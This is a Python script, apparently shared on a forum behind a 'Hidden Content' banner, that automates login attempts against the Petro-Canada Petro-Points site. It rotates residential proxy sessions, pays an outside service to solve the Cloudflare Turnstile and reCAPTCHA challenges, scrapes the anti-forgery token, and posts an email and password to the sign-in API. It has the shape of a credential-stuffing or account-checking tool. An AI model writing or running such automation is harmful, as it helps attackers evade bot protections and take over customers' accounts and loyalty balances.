[ Hidden Content! ]
Code:
from math import fabs
import sys
from unittest import result
from weakref import proxy
import requests
import json
import random
import string
import re
# captcha api config on https://www.clearcaptcha.com
clearcaptcha_recaptcha_api="http://api.clearcaptcha.com/captcha/recaptcha_v2v3";
clearcaptcha_cf_api="http://api.clearcaptcha.com/captcha/cloudflare_challenge";
tls_api="http://api.clearcaptcha.com/captcha/tls";
token = 'test'
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
def tls_result(url,method,headers,body,user_agent,proxy, cookie="", redirect=True):
data = {
'token': token,
'method': method,
'url': url,
'headers': json.dumps(headers),
'body': body,
'user_agent': user_agent,
'proxy': proxy,
'cookie': cookie,
'allow_redirect': str(redirect).lower()
}
try:
response = requests.post(tls_api, data=data, allow_redirects=redirect)
return response.json()
except requests.RequestException as e:
print(str(e))
sys.exit()
def random_string(length=9):
return ''.join(random.choices(string.ascii_letters, k=length))
proxy=f"pkg-royal-country-us-session-{random_string()}:[email protected]:8603"
session = requests.Session()
session.proxies.update({
"all": "http://"+proxy
})
post_data = {
"token": token,
"url":"https://www.petro-canada.ca/en/personal/login",
"proxy":proxy
}
response = requests.post(clearcaptcha_cf_api, json=post_data)
if '"code":200' not in response.text:
print("get cloudflare challenge fail")
sys.exit()
response_data = response.json()
response_headers=response_data["data"]["headers"]
response_cookie=response_data["data"]["cf_turnstile_cookies"]
user_agent=response_headers["user-agent"]
headers={
"Accept":"*/*",
"Accept-Encoding":"gzip, deflate, br, zstd",
"Accept-Language":"en-US,en;q=0.9",
"Cache-Control":"no-cache",
"Connection":"keep-alive",
"Cookie": response_cookie,
"Host":"www.petro-canada.ca",
"Origin":"https://www.petro-canada.ca",
"Pragma":"no-cache",
"Referer":"https://www.petro-canada.ca/",
}
headers.update(response_headers)
cookies = {cookie.split("=")[0]: "=".join(cookie.split("=")[1:]) for cookie in response_cookie.split("; ")}
session.cookies.update(cookies)
response_data = tls_result("https://www.petro-canada.ca/en/personal/login", "GET", headers, "", user_agent, proxy, response_cookie);
response_html = response_data["data"]["result"]
if response_data["data"]["status_code"]!="0":
print(f"open home page fail, status code: {response_data["data"]["status_code"]}")
sys.exit();
print(f"open home page success, status code: {response_data["data"]["status_code"]}")
match = re.search(r'name="__RequestVerificationToken".*?value="(.*?)"', response_html)
if match:
request_verification_token = match.group(1)
print(request_verification_token)
else:
print("__RequestVerificationToken not found")
sys.exit()
post_data = {
"token": token,
"sitekey": "6LeuGYEjAAAAAOaPqAckgwRGjH2G09CFkxca7VkB",
"referer":"https://www.petro-canada.ca/en/personal/login",
"recaptcha_anchor_size":"invisible",
"page_title":"Petro-Points Login or Sign in | Petro-Canada",
"action":""
}
response = requests.post(clearcaptcha_recaptcha_api, data=post_data)
if '"code":200' not in response.text:
print("get recaptcha token fail")
sys.exit()
response_data = response.json()
recaptcha_token=response_data["data"]["recaptcha_token"]
post_data = {
"email": "[email protected]",
"password": "asdfasfdsss",
"recaptchaResponse":recaptcha_token,
}
headers["Content-Type"]="application/json"
headers["__requestverificationtoken"]=request_verification_token
response_data = tls_result("https://www.petro-canada.ca/en/api/petrocanadaaccounts/signin?ds=C29039EA9E1C49A5BEC96D19CF0FEED4", "POST", headers, json.dumps(post_data), user_agent, proxy, response_cookie);
response_html = response_data["data"]["result"]
print(response_html)